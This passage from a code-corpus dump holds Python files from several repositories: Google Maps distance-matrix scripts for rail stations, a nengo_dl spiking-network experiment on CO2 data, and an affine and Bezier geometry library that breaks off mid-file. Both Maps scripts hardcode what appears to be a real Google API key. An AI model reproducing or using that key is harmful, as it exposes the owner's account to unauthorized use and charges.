MODULES_DIR )\nfrom modules.simpleLoader import Loader\nCURRENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"./\"))\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../../..\"))\nsys.path.append( ROOT_DIR )\n#custom imports\nimport requests\nfrom requests.utils import quote\nimport urllib2\nimport json\nimport datetime as dt\nfrom bs4 import BeautifulSoup\nimport logging\nimport re\nimport time\nimport csv\nimport pandas as pd\nfrom pandas.compat import StringIO\nfrom numpy import *\n\n\n\ndef progress(count, total, status=''):\n bar_len = 60\n filled_len = int(round(bar_len * count / float(total)))\n\n percents = round(100.0 * count / float(total), 1)\n bar = '=' * filled_len + '-' * (bar_len - filled_len)\n\n sys.stdout.write('[%s] %s%s ...%s\\r' % (bar, percents, '%', status))\n sys.stdout.flush()\n\n############################################################################################################################\n\ndef getInfosAB( station_a , station_b ):\n global log\n YOUR_API_KEY = 'AIzaSyC116ghEYpqy5oNnaKyUXEqZSozFffWLOk'\n # Docu: https://developers.google.com/maps/documentation/distance-matrix/intro#travel_modes\n ORIGIN = str(station_a['coord'][1]) + ',' + str(station_a['coord'][0])\n DESTINATION = str(station_b['coord'][1]) + ',' + str(station_b['coord'][0])\n MODE = 'transit' #bicycling\n #COM:\n url = [\n \"https://maps.googleapis.com/maps/api/\",\n \"distancematrix\",\n \"/json?\",\n \"origins=\" + ORIGIN ,\n \"&destinations=\" + DESTINATION ,\n \"&mode=\" + MODE ,\n \"&language=de-DE\",\n '&key=' + YOUR_API_KEY\n ]\n #COM:\n URL = \"\".join(url)\n #print URL\n try:\n request = urllib2.Request( URL )\n result = urllib2.urlopen(request)\n except urllib2.HTTPError, e:\n print(\"404\")\n else:\n json_string = result.read()\n result_json = json.loads(json_string)\n #COM:\n if \"status\" in result_json:\n if result_json[\"status\"] == \"OK\":\n if result_json[\"rows\"][0][\"elements\"][0][\"status\"] == \"OK\":\n duration_seconds = result_json[\"rows\"][0][\"elements\"][0][\"duration\"][\"value\"]\n distance_meters = result_json[\"rows\"][0][\"elements\"][0][\"distance\"][\"value\"]\n log.debug( str(station_a[\"evaNumber\"]) + \" \" + str(station_b[\"evaNumber\"]) + \" \" + str(duration_seconds) + \" \" + str(distance_meters) )\n\n\n############################################################################################################################\n\ndef customRoutine( FLAT_SOURCE, ITEMS ):\n global log\n log = logging.getLogger()\n log.setLevel(logging.DEBUG)\n NAME_LOG = FLAT_SOURCE[\"outputDirData\"] + FLAT_SOURCE[\"outputFilePrefix\"] + FLAT_SOURCE[\"outputFileExtension\"]\n fh = logging.FileHandler(filename= NAME_LOG )\n fh.setLevel(logging.DEBUG)\n formatter = logging.Formatter(fmt='%(message)s' )\n fh.setFormatter(formatter)\n log.addHandler(fh)\n #COM:\n log.debug( \"station_a station_b duration_seconds distance_meters\" )\n #COM:\n IT_CLONE = dict(ITEMS)\n listResults = []\n\n '''\n BUF = dict(ITEMS)\n listKeys = BUF.keys()\n #COM:\n TOTAL = 0\n for ik, k in enumerate(listKeys):\n del BUF[k]\n clone = BUF\n for i,b in enumerate(clone):\n TOTAL +=1\n '''\n TOTAL = 14356761\n\n #COM:\n listKeys = ITEMS.keys()\n #COM:\n count = 0\n for k in listKeys:\n a = k\n del ITEMS[k]\n clone = ITEMS\n for i,b in enumerate(clone):\n #COM:\n getInfosAB( IT_CLONE[a] , IT_CLONE[b] )\n #progress(count, TOTAL, status='Reading')\n count += 1\n\n\n\n\n############################################################################################################################\n############################################################################################################################\n############################################################################################################################\n\nif __name__ == '__main__':\n loader = Loader()\n #COM:\n FLAT_SOURCE, FLAT_PARAMETERS = loader.loadJsonModelToFlag( ROOT_DIR ,CURRENT_DIR )\n #COM:\n items = loader.loadJsonInputToItem( FLAT_SOURCE )\n #COM:\n loader.createOutputDir( FLAT_SOURCE )\n #COM:\n customRoutine( FLAT_SOURCE , items )\n #COM:\n PROCESS_RESULT = loader.saveReportModel( FLAT_SOURCE, FLAT_PARAMETERS )\n" }, { "alpha_fraction": 0.510342001914978, "alphanum_fraction": 0.515461802482605, "avg_line_length": 32.90972137451172, "blob_id": "2918467cdf44b1285383fd5aadc47b7b34fabf0c", "content_id": "49c63aebed984439ea0a7eff2e10b5d3311957bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4883, "license_type": "no_license", "max_line_length": 124, "num_lines": 144, "path": "/services/service_01_googlekm/main-withDataframe.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nMODULES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../\"))\nsys.path.append( MODULES_DIR )\nfrom modules.simpleLoader import Loader\nCURRENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"./\"))\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../../..\"))\nsys.path.append( ROOT_DIR )\n#custom imports\nimport requests\nfrom requests.utils import quote\nimport urllib2\nimport json\nimport datetime as dt\nfrom bs4 import BeautifulSoup\nimport logging\nimport re\nimport time\nimport csv\nimport pandas as pd\nfrom pandas.compat import StringIO\nfrom numpy import *\n\n\n\n\n############################################################################################################################\n\ndef getInfosAB( station_a , station_b ):\n global log\n YOUR_API_KEY = 'AIzaSyC116ghEYpqy5oNnaKyUXEqZSozFffWLOk'\n # Docu: https://developers.google.com/maps/documentation/distance-matrix/intro#travel_modes\n ORIGIN = str(station_a['coord'][1]) + ',' + str(station_a['coord'][0])\n DESTINATION = str(station_b['coord'][1]) + ',' + str(station_b['coord'][0])\n MODE = 'transit' #bicycling\n #COM:\n url = [\n \"https://maps.googleapis.com/maps/api/\",\n \"distancematrix\",\n \"/json?\",\n \"origins=\" + ORIGIN ,\n \"&destinations=\" + DESTINATION ,\n \"&mode=\" + MODE ,\n \"&language=de-DE\",\n '&key=' + YOUR_API_KEY\n ]\n #COM:\n URL = \"\".join(url)\n #print URL\n try:\n request = urllib2.Request( URL )\n result = urllib2.urlopen(request)\n except urllib2.HTTPError, e:\n print(\"404\")\n else:\n json_string = result.read()\n result_json = json.loads(json_string)\n #COM:\n if \"status\" in result_json:\n if result_json[\"status\"] == \"OK\":\n\n if result_json[\"rows\"][0][\"elements\"][0][\"status\"] == \"OK\":\n log.debug('STATUS-OK DATA-1 A-' + station_a[\"evaNumber\"] + \" B-\" + station_b[\"evaNumber\"])\n duration_seconds = result_json[\"rows\"][0][\"elements\"][0][\"duration\"][\"value\"]\n distance_meters = result_json[\"rows\"][0][\"elements\"][0][\"distance\"][\"value\"]\n else:\n log.debug('STATUS-OK DATA-0 A-' + station_a[\"evaNumber\"] + \" B-\" + station_b[\"evaNumber\"])\n duration_seconds = 0\n distance_meters = 0\n #COM:\n filtered_result_json = {\n \"duration_seconds\": duration_seconds ,\n \"distance_meters\": distance_meters,\n \"station_a\" : station_a[\"evaNumber\"] ,\n \"station_b\" : station_b[\"evaNumber\"]\n }\n return filtered_result_json\n else:\n log.debug('STATUS-ERROR A-' + station_a[\"evaNumber\"] + \" B-\" + station_b[\"evaNumber\"])\n return 0\n\n\n\n\ndef customRoutine( FLAT_SOURCE, ITEMS ):\n global log\n log = logging.getLogger()\n log.setLevel(logging.DEBUG)\n NAME_LOG = FLAT_SOURCE[\"outputDir\"] + FLAT_SOURCE[\"outputFilePrefix\"] + '.log'\n fh = logging.FileHandler(filename= NAME_LOG )\n fh.setLevel(logging.DEBUG)\n formatter = logging.Formatter(\n fmt='%(asctime)s %(levelname)s: %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S'\n )\n fh.setFormatter(formatter)\n log.addHandler(fh)\n\n #COM:\n IT_CLONE = dict(ITEMS)\n listResults = []\n #COM:\n listKeys = ITEMS.keys()\n #COM:\n for k in listKeys:\n a = k\n del ITEMS[k]\n clone = ITEMS\n for i,b in enumerate(clone):\n #print a + b\n obj_result = getInfosAB( IT_CLONE[a] , IT_CLONE[b] )\n if obj_result != 0:\n listResults.append( obj_result )\n #COM:\n df = pd.DataFrame( listResults )\n #COM:\n listDataFrames = []\n listDataFrames.append( df )\n return listDataFrames\n\n\n\n\n############################################################################################################################\n############################################################################################################################\n############################################################################################################################\n\n\n\nif __name__ == '__main__':\n\n loader = Loader()\n #COM: load Model.json to 1 level object\n FLAT_SOURCE, FLAT_PARAMETERS = loader.loadJsonModelToFlag( ROOT_DIR ,CURRENT_DIR )\n\n items = loader.loadJsonInputToItem( FLAT_SOURCE )\n\n loader.createOutputDir( FLAT_SOURCE )\n listDataFrames = customRoutine( FLAT_SOURCE , items )\n loader.saveReport_DataFrameList( FLAT_SOURCE, listDataFrames, FLAT_PARAMETERS )\n PROCESS_RESULT = loader.saveReportModel( FLAT_SOURCE, FLAT_PARAMETERS )\n" } ]
20
kstandvoss/TFCA
https://github.com/kstandvoss/TFCA
97b5148de1258ce089814f25534d24b1443fffd8
fc435a1eecd6cb43d1b2e89d5ab79f17dddc52fd
ff3b85542f77e824691f48eb4ea634746cd2a099
refs/heads/master
2020-03-17T17:25:50.961389
2018-06-20T08:17:09
2018-06-20T08:17:09
133,787,892
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.7785714268684387, "alphanum_fraction": 0.800000011920929, "avg_line_length": 27, "blob_id": "405df9fab1cd42552cc6a1314420a10dc88cf0e3", "content_id": "2a505f9d88333ca590c1c568dcd56dc43cd91631", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 140, "license_type": "no_license", "max_line_length": 70, "num_lines": 5, "path": "/README.md", "repo_name": "kstandvoss/TFCA", "src_encoding": "UTF-8", "text": "# TFCA\nBayesian Deep Learning in Spiking Neural Networks\n\n## Dataset\nhttp://scrippsco2.ucsd.edu/data/atmospheric_co2/primary_mlo_co2_record\n" }, { "alpha_fraction": 0.5025380849838257, "alphanum_fraction": 0.528553307056427, "avg_line_length": 37.43902587890625, "blob_id": "b01c9848661fda9d93e73ffe9d9f8821af803672", "content_id": "78bc4e56230c52bfc26f8a08375fe39ab5e9ea0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1576, "license_type": "no_license", "max_line_length": 151, "num_lines": 41, "path": "/run.py", "repo_name": "kstandvoss/TFCA", "src_encoding": "UTF-8", "text": "from argparse import Namespace\nimport co2_dataset\nimport os\nimport time\n\n \n \n# Settings\ndata_path = 'CO2/monthly_in_situ_co2_mlo.csv'\nsave_path = 'reg_params/params3'\nepochs = 10000\nminibatch_size = 100\nmc_samples = 50\noptimizer = 'adam'\nlearning_rate = 1e-1\nmomentum = 0.9\nl2_weight = 1e-6\ndrop_p = 0.1\ntau_rc = 0.07\ntau_ref = 0.0005\namplitude = 0.01\ntrain = False\ncontinue_training = True\nspiking = True\nplot = True\ncomment = 'test run'\n\nargs = Namespace(data_path=data_path, epochs=epochs, minibatch_size=minibatch_size,\n optimizer=optimizer, learning_rate=learning_rate, l2_weight=l2_weight, momentum=momentum,\n mc_samples=mc_samples, tau_ref=tau_ref, tau_rc=tau_rc, train=train, continue_training=continue_training,\n save_path=save_path, amplitude=amplitude, drop_p=drop_p, spiking=spiking, plot=plot)\n\nprint('########################')\nprint(comment) # a comment that will be printed in the log file\nprint(args) # print all args in the log file so we know what we were running\nprint('########################')\n\n\nstart = time.time()\nloss = co2_dataset.main(args)\nprint(\"The training took {:.1f} minutes with a loss of {:.3f}\".format((time.time()-start)/60,loss)) # measure time\n" }, { "alpha_fraction": 0.5501305460929871, "alphanum_fraction": 0.5645946264266968, "avg_line_length": 39.48857116699219, "blob_id": "4e147e4d56de921ba0fd81440984c28a51e153f2", "content_id": "35a99f8af3b3d8cba8332bc2e3cf914628f6e587", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14173, "license_type": "no_license", "max_line_length": 176, "num_lines": 350, "path": "/co2_dataset.py", "repo_name": "kstandvoss/TFCA", "src_encoding": "UTF-8", "text": "# coding: utf-8\n\nimport nengo\nimport nengo_dl\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom scipy import signal\nimport argparse\nimport pdb\n\n\ndef main(args):\n\n co2_data = pd.read_csv(args.data_path, usecols=[0,4,5,6,7,8,9])\n co2_data.columns = ['Date', 'standard', 'season_adjust', 'smoothed', 'smoothed_season', 'standard_no_missing', 'season_no_missing']\n\n\n detrended = signal.detrend(co2_data['standard_no_missing'][200:600])\n detrended /= np.max(detrended)\n detrended *= 2\n\n #if args.plot:\n # plt.plot(detrended)\n # plt.axvline(x=300, c='black', lw='1')\n # plt.ylim([-20,20])\n # plt.xlim([0,500])\n\n # # Training setup\n\n # leaky integrate and fire parameters\n lif_params = {\n 'tau_rc': args.tau_rc,\n 'tau_ref': args.tau_ref,\n 'amplitude': args.amplitude\n }\n\n\n # training parameters\n drop_p = args.drop_p\n minibatch_size = args.minibatch_size\n n_epochs = args.epochs\n learning_rate = args.learning_rate\n momentum = args.momentum\n l2_weight = args.l2_weight\n\n # lif parameters\n lif_neurons = nengo.LIF(**lif_params)\n\n # softlif parameters (lif parameters + sigma)\n softlif_neurons = nengo_dl.SoftLIFRate(**lif_params,sigma=0.002)\n\n # ensemble parameters\n ens_params = dict(max_rates=nengo.dists.Choice([100]), intercepts=nengo.dists.Choice([0]))\n\n\n def build_network(neuron_type, drop_p, l2_weight, n_units=1024, num_layers=4, output_size=1):\n with nengo.Network() as net:\n \n use_dropout = False\n if drop_p:\n use_dropout = True\n\n #net.config[nengo.Connection].synapse = None\n #nengo_dl.configure_settings(trainable=False)\n \n # input node\n inp = nengo.Node([0])\n \n shape_in = 1\n x = inp\n \n # the regularizer is a function, so why not reuse it\n reg = tf.contrib.layers.l2_regularizer(l2_weight)\n class DenseLayer(object):\n i=0\n def pre_build(self, shape_in, shape_out):\n self.W = tf.get_variable(\n \"weights\" + str(DenseLayer.i), shape=(shape_in[1], shape_out[1]),\n regularizer=reg)\n self.B = tf.get_variable(\n \"biases\" + str(DenseLayer.i), shape=(1, shape_out[1]), regularizer=reg)\n DenseLayer.i+=1\n\n def __call__(self, t, x):\n return x @ self.W + self.B\n\n\n for n in range(num_layers):\n # add a fully connected layer\n\n a = nengo_dl.TensorNode(DenseLayer(), size_in=shape_in, size_out=n_units, label='dense{}'.format(n))\n nengo.Connection(x, a, synapse=None)\n\n shape_in = n_units\n x = a\n \n # apply an activation function\n x = nengo_dl.tensor_layer(x, neuron_type, **ens_params)\n\n # add a dropout layer\n x = nengo_dl.tensor_layer(x, tf.layers.dropout, rate=drop_p, training=use_dropout)\n \n \n \n # add an output layer\n a = nengo_dl.TensorNode(DenseLayer(), size_in=shape_in, size_out=output_size)\n nengo.Connection(x, a, synapse=None)\n\n \n return net, inp, a\n\n\n do_train = args.train\n continue_training = args.continue_training\n\n param_path = args.save_path\n\n\n trainset_size = len(detrended)\n\n x = np.linspace(-2,2,trainset_size)\n y = detrended\n\n\n # # training on continuous soft leaky integrate and fire neurons\n\n # construct the network\n net, inp, out = build_network(softlif_neurons, drop_p, l2_weight)\n with net:\n in_p = nengo.Probe(inp, 'output')\n out_p = nengo.Probe(out, 'output')\n\n \"\"\"\n # define training set etc.\n \"\"\"\n #pdb.set_trace()\n #train_x = {inp: x.reshape((minibatch_size, trainset_size // minibatch_size))[..., None]}\n #train_y = {out_p: y.reshape((minibatch_size, trainset_size // minibatch_size))[..., None]}\n target = x[:,None,None]\n train_x = {inp: target[:300]}\n train_y = {out_p: y[:300,None,None]}\n test_x = {inp: target[300:]}\n test_y = {out_p: y[300:,None,None]}\n\n # construct the simulator\n with nengo_dl.Simulator(net, minibatch_size=minibatch_size, tensorboard='./tensorboard') as sim:\n #, tensorboard='./tensorboard')\n \n # define the loss function (We need to do this in the\n # context of the simulator because it changes the\n # tensorflow default graph to the nengo network.\n # That is, tf.get_collection won't work otherwise.)\n def mean_squared_error_L2_regularized(y, t):\n if not y.shape.as_list() == t.shape.as_list():\n raise ValueError(\"Output shape\", y.shape, \"differs from target shape\", t.shape)\n e = tf.reduce_mean((t - y)**2) + tf.add_n(tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES))\n return e\n\n with tf.name_scope('sum_weights'):\n first = 0\n for node in net.nodes:\n if type(node) == nengo_dl.tensor_node.TensorNode:\n if 'Dense' in str(node.tensor_func):\n if not first:\n sum_weights = tf.linalg.norm(node.tensor_func.W)\n first = 1\n else:\n sum_weights += tf.linalg.norm(node.tensor_func.W)\n weight_summary = tf.summary.scalar('sum_weights', sum_weights) \n\n\n starter_learning_rate = args.learning_rate\n learning_rate = tf.train.exponential_decay(starter_learning_rate, sim.tensor_graph.training_step,\n 1000, 0.96, staircase=True)\n\n # define optimiser \n if args.optimizer=='rmsprop':\n opt = tf.train.RMSPropOptimizer(learning_rate=learning_rate)\n elif args.optimizer=='sgd':\n opt = tf.train.MomentumOptimizer(learning_rate=learning_rate, momentum=momentum, use_nesterov=True)\n elif args.optimizer=='adadelta':\n opt = tf.train.AdadeltaOptimizer(learning_rate=learning_rate)\n elif args.optimizer=='adam':\n opt = tf.train.AdamOptimizer(learning_rate=learning_rate)\n\n #pdb.set_trace()\n loss = 0\n # actual training loop\n if do_train:\n if continue_training:\n sim.load_params(path=param_path)\n\n loss = sim.loss(test_x, test_y, objective='mse') \n print(\"error before training: \", loss)\n\n sim.train(train_x, train_y, opt, n_epochs=n_epochs, shuffle=True, objective={out_p:mean_squared_error_L2_regularized}, summaries=['loss', weight_summary])\n\n loss = sim.loss(test_x, test_y, objective='mse')\n print(\"error after training:\", loss)\n\n sim.save_params(path=param_path)\n else:\n sim.load_params(path=param_path)\n\n\n T = args.mc_samples\n outputs = np.zeros((T,target.size))\n for t in range(T):\n for i in range(0,target.size,minibatch_size):\n sim.run_steps(1,input_feeds={inp: target[i:i+minibatch_size]})\n sim.soft_reset(include_trainable=False, include_probes=False)\n outputs[t] = sim.data[out_p].transpose(1,0,2).reshape((len(target),))\n sim.soft_reset(include_trainable=False, include_probes=True)\n \n\n predictive_mean = np.mean(outputs, axis=0)\n predictive_variance = np.var(outputs, axis=0) \n tau = (1 - args.drop_p) / (2 * len(predictive_variance) * args.l2_weight)\n predictive_variance += tau**-1\n\n target = np.squeeze(target)\n\n if args.plot:\n plt.plot(target,predictive_mean,label='out')\n plt.fill_between(target, predictive_mean-2*np.sqrt(predictive_variance), predictive_mean+2*np.sqrt(predictive_variance),\n alpha=0.5, edgecolor='#CC4F1B', facecolor='#FF9848', linewidth=0, label='variance')\n plt.plot(target,detrended,label='target', color='blue',alpha=0.5)\n plt.axvline(x=x[300], c='black', lw='1')\n plt.ylim([-10,10])\n plt.xlim([-2,2])\n plt.legend(loc='upper right')\n\n\n\n if args.spiking:\n # # test on LIF neurons\n # timesteps\n # MC dropout samples\n MC_drop = T\n T = 100\n\n # we want to see if spiking neural networks\n # need dropout at all, so we disable it\n net, inp, out = build_network(lif_neurons, drop_p=0, l2_weight=l2_weight)\n with net:\n in_p = nengo.Probe(inp)\n out_p = nengo.Probe(out)\n\n # start a new simulator\n # T is the amount of MC dropout samples\n sim = nengo_dl.Simulator(net, minibatch_size=minibatch_size)#, unroll_simulation=10, tensorboard='./tensorboard')\n\n # load parameters\n sim.load_params(path=param_path)\n\n # copy the input for each MC dropout sample\n minibatched_target = np.tile(target[:, None], (1,T))[..., None]\n\n # run for T timesteps\n spiking_outputs = np.zeros((target.size,T))\n spiking_inputs = np.zeros((target.size,T))\n for i in range(0,target.size,minibatch_size):\n sim.soft_reset(include_trainable=False, include_probes=True)\n sim.run_steps(T,input_feeds={inp: minibatched_target[i:i+minibatch_size,:]})\n spiking_outputs[i:i+minibatch_size] = sim.data[out_p][...,0]\n spiking_inputs[i:i+minibatch_size] = sim.data[in_p][...,0]\n \n\n if args.plot:\n # plot\n plt.figure() \n plt.scatter(spiking_inputs.flatten(), spiking_outputs.flatten(), c='r', s=1, label=\"output\") \n plt.plot()\n #plt.plot(target.flatten(), y(target).flatten(), label=\"target\", linewidth=2.0)\n plt.legend(loc='upper right');\n plt.plot(x,y, label='train set')\n plt.axvline(x=x[300], c='black', lw='1')\n plt.ylim([-10,10])\n plt.xlim([-2,2])\n\n\n # print(sim.data[out_p].shape)\n predictive_mean = np.mean(spiking_outputs[:,-MC_drop:],axis=1)\n predictive_variance = np.var(spiking_outputs[:,-MC_drop:],axis=1)\n tau = (1 - args.drop_p) / (2 * len(predictive_variance) * args.l2_weight)\n predictive_variance += tau**-1\n\n\n\n plt.figure()\n plt.plot(target,predictive_mean,label='out')\n #plt.plot(target,spiking_outputs[:,-1],label='out')\n plt.fill_between(np.squeeze(target), predictive_mean-2*np.sqrt(predictive_variance), predictive_mean+2*np.sqrt(predictive_variance),\n alpha=0.5, edgecolor='#CC4F1B', facecolor='#FF9848', linewidth=0, label='variance')\n plt.plot(x, y, c='blue', alpha=0.5, label='dataset')\n #plt.scatter(x,y, color='black', s=9, label='train set')\n plt.axvline(x=x[300], c='black', lw='1')\n plt.legend(loc='upper right',)\n plt.ylim([-10,10])\n plt.xlim([-2,2])\n \n sim.close()\n if args.plot:\n plt.show()\n\n return loss\n\nif __name__=='__main__':\n\n\n parser = argparse.ArgumentParser(description='Train spiking neural network to perform variational inference on co2 dataset')\n parser.add_argument('data_path', action='store',\n help='Path to data')\n parser.add_argument('-e', '--epochs', action='store', dest='epochs', type=int, default=100,\n help='Number of training epochs')\n parser.add_argument('-mb', action='store', dest='minibatch_size', type=int, default=25,\n help='Size of training mini batches')\n parser.add_argument('-t', action='store', dest='mc_samples', type=int, default=20,\n help='Number of MC forwardpasses and timesteps for spiking network')\n parser.add_argument('-o', '--optimizer', action='store', dest='optimizer', default='rmsprop', choices=('sgd', 'adadelta', 'adam', 'rmsprop'),\n help='Optimization function')\n parser.add_argument('-r', '--learning_rate', action='store', dest='learning_rate', type=float,\n help='Learning rate', default=1e-4)\n parser.add_argument('-m', '--momentum', action='store', dest='momentum', type=float,\n help='Momentum', default=0.9)\n parser.add_argument('-l', '--l2_weight', action='store', dest='l2_weight', type=float,\n help='Weight of l2 regularization', default=1e-6) \n parser.add_argument('-d', '--dropout', action='store', dest='drop_p', type=float,\n help='Dropout probability', default=0.1) \n parser.add_argument('-rc', '--tau_rc', action='store', dest='tau_rc', type=float,\n help='LIF parameter', default=0.07) \n parser.add_argument('-ref', '--tau_ref', action='store', dest='tau_ref', type=float,\n help='LIF parameter', default=0.0005) \n parser.add_argument('-a', '--amplitude', action='store', dest='amplitude', type=float,\n help='LIF parameter', default=0.05) \n parser.add_argument('--save_path', action='store', default='./reg_params/params')\n parser.add_argument('--train', action='store_true', dest='train', default=True,\n help='Train new network, else load parameters')\n parser.add_argument('--continue_training', action='store_true', dest='continue_training', default=False,\n help='Continue training from previous parameters')\n parser.add_argument('--plot', action='store_true', dest='plot', default=False,\n help='Plot results')\n parser.add_argument('--spiking', action='store_true', dest='spiking', default=False,\n help='Test spiking model')\n\n args = parser.parse_args()\n\n main(args)\n\n\n" } ]
3
shakysnails/draw
https://github.com/shakysnails/draw
6985ccc1df9d8db0917d332c5a2260f9d180b6fe
3881e60581e98b9b2689d4918402d06930163844
a08f8d263e29cb92fa8dc4a2d507fb2cc679f8c8
refs/heads/master
2022-11-21T21:25:33.812483
2020-06-15T15:21:04
2020-06-15T15:21:04
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4218692481517792, "alphanum_fraction": 0.4493767321109772, "avg_line_length": 31.0084171295166, "blob_id": "5d866bdb42878693b269fd8b1feb58c262be2070", "content_id": "5223e6aaf42da70e45a3006810125736e622e76a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 19021, "license_type": "permissive", "max_line_length": 88, "num_lines": 594, "path": "/lib/figure.py", "repo_name": "shakysnails/draw", "src_encoding": "UTF-8", "text": "from lib.canvas import Canvas\nfrom lib.bezier import Bezier\nimport numpy as np\nimport copy\n\n\ndef _offset_rounding_error(figure):\n \"\"\" \"\"\"\n fig = []\n pre_part = []\n for line in figure:\n if not pre_part == []:\n fig.append((pre_part[3], line[1], line[2], line[3]))\n else:\n fig.append(line)\n pre_part = line\n\n return fig\n\n\nclass Affine(object):\n\n mtr = np.empty((3, 3))\n x = 0.\n y = 0.\n vec = np.array([x, y, 1])\n\n def _operation(self):\n\n ret = np.dot(self.mtr, self.vec)\n\n return tuple(np.delete(ret, 2))\n\n def affine_translate(self, p, m=(0., 0.)):\n \"\"\" Translation \"\"\"\n x, y = p\n self.vec = np.array([x, y, 1]) # mtr = np.eye(3)\n self.mtr = np.array([[1, 0, m[0]], # mtr[:,2] = np.insert(np.array(m), 2, 1)\n [0, 1, m[1]],\n [0, 0, 1]])\n\n return self._operation()\n\n def affine_scale(self, p, scale=(0., 0.)):\n \"\"\" Scale \"\"\"\n x, y = p\n self.vec = np.array([x, y, 1])\n cx, cy = scale\n self.mtr = np.array([[cx, 0, 0],\n [0, cy, 0],\n [0, 0, 1]])\n\n return self._operation()\n\n def affine_rotate(self, p, angle=0.):\n \"\"\" Rotate \"\"\"\n x, y = p\n self.vec = np.array([x, y, 1])\n r = angle * np.pi / 180\n self.mtr = np.array([[np.cos(r), -np.sin(r), 0],\n [np.sin(r), np.cos(r), 0],\n [0, 0, 1]])\n return self._operation()\n\n def affine_reflect(self, p, axis='y'):\n \"\"\" Reflection \"\"\"\n x, y = p\n self.vec = np.array([x, y, 1])\n if axis == 'x':\n self.mtr = np.array([[1, 0, 0],\n [0, -1, 0],\n [0, 0, 1]])\n if axis == 'y':\n self.mtr = np.array([[-1, 0, 0],\n [0, 1, 0],\n [0, 0, 1]])\n\n return self._operation()\n\n def affine_shear(self, p, shear=(0., 0.)):\n \"\"\" Scale \"\"\"\n x, y = p\n self.vec = np.array([x, y, 1])\n cx, cy = shear\n self.mtr = np.array([[1, cx, 0],\n [cy, 1, 0],\n [0, 0, 1]])\n\n return self._operation()\n\n def self_scale(self, p, reference_point, scale=(0., 0.)):\n \"\"\" \"\"\"\n origin = tuple(map(lambda x: -x, reference_point))\n mov = self.affine_translate\n sca = self.affine_scale\n return mov(sca(mov(p, origin), scale), reference_point)\n\n def self_rotate(self, p, reference_point, angle=0.):\n \"\"\" \"\"\"\n origin = tuple(map(lambda x: -x, reference_point))\n mov = self.affine_translate\n rot = self.affine_rotate\n return mov(rot(mov(p, origin), angle), reference_point)\n\n def self_reflect(self, p, reference_point, axis='y'):\n \"\"\" \"\"\"\n origin = tuple(map(lambda x: -x, reference_point))\n mov = self.affine_translate\n ref = self.affine_reflect\n return mov(ref(mov(p, origin), axis), reference_point)\n\n def self_shear(self, p, reference_point, shear=(0., 0.)):\n \"\"\" \"\"\"\n origin = tuple(map(lambda x: -x, reference_point))\n # origin = np.array(reference_point) * -1\n mov = self.affine_translate\n shr = self.affine_shear\n return mov(shr(mov(p, origin), shear), reference_point)\n\n\nclass BasicFigure(Affine, Bezier):\n\n def liner_bezier(self, a, origin=(0., 0.)):\n \"\"\" \"\"\"\n line = [((0, 0), (a * (1 / 3), 0), (a * (2 / 3), 0), (a, 0))]\n\n if not origin == (0., 0.):\n lst = [self.affine_translate(p, origin) for p in sum(line, ())]\n figure = [tuple(lst[i:i + 4]) for i in range(0, 3, 4)]\n else:\n figure = line\n\n return figure\n\n def ellipse(self, a, b, origin=(0., 0.)):\n \"\"\" \"\"\"\n m = 4 / 3 * (2 ** 0.5 - 1) * a\n n = 4 / 3 * (2 ** 0.5 - 1) * b\n q1 = ((a, 0), (a, n), (m, b), (0, b))\n q2 = tuple([self.affine_reflect(p, 'y') for p in q1])[::-1]\n q3 = tuple([self.affine_reflect(p, 'x') for p in q2])[::-1]\n q4 = tuple([self.affine_reflect(p, 'y') for p in q3])[::-1]\n\n ell = [q1, q2, q3, q4]\n\n if not origin == (0., 0.):\n lst = [self.affine_translate(p, origin) for p in sum(ell, ())]\n figure = [tuple(lst[i:i + 4]) for i in range(0, 15, 4)]\n else:\n figure = ell\n\n return figure\n\n def rectangle(self, a, b, origin=(0., 0.)):\n \"\"\" \"\"\"\n rect = [((a, b), (-a, b)), ((-a, b), (-a, -b)),\n ((-a, -b), (a, -b)), ((a, -b), (a, b))]\n\n if not origin == (0., 0.):\n lst = [self.affine_translate(p, origin) for p in sum(rect, ())]\n figure = [tuple(lst[i:i + 2]) for i in range(0, 7, 2)]\n else:\n figure = rect\n\n return figure\n\n def hexagon(self, a, origin=(0., 0.)):\n \"\"\" \"\"\"\n x0 = a\n y0 = 0\n x3 = np.cos(np.radians(60)) * a\n y3 = np.sin(np.radians(60)) * a\n x_1 = (x0 - x3) / 3 * 2 + x3\n y_1 = (y3 - y0) / 3\n rot1 = self.affine_rotate(((x_1 - x0), (y_1 - y0)), -30)\n x1 = rot1[0] + x0\n y1 = rot1[1] + y0\n x_2 = (x0 - x3) / 3 + x3\n y_2 = (y3 - y0) / 3 * 2\n rot2 = self.affine_rotate(((x_2 - x3), (y_2 - y3)), 30)\n x2 = rot2[0] + x3\n y2 = rot2[1] + y3\n\n f = [(x0, y0), (x1, y1), (x2, y2), (x3, y3)]\n\n fig = [tuple([self.affine_rotate(p, 60 * i) for p in f]) for i in range(0, 6)]\n fig = _offset_rounding_error(fig)\n\n if not origin == (0., 0.):\n lst = [self.affine_translate(p, origin) for p in sum(fig, ())]\n figure = [tuple(lst[i:i + 4]) for i in range(0, 23, 4)]\n else:\n figure = fig\n\n return figure\n\n\nclass Combine(Bezier):\n\n def __init__(self):\n self.judge_scope = 512\n self.figures = [[], []]\n self.t_values = [[], []]\n self.mrk_figure = [[], []]\n self.spl_parts = [[], []]\n self.req_parts = [[], []]\n self.cmb_figure = []\n\n def combine_figures(self, 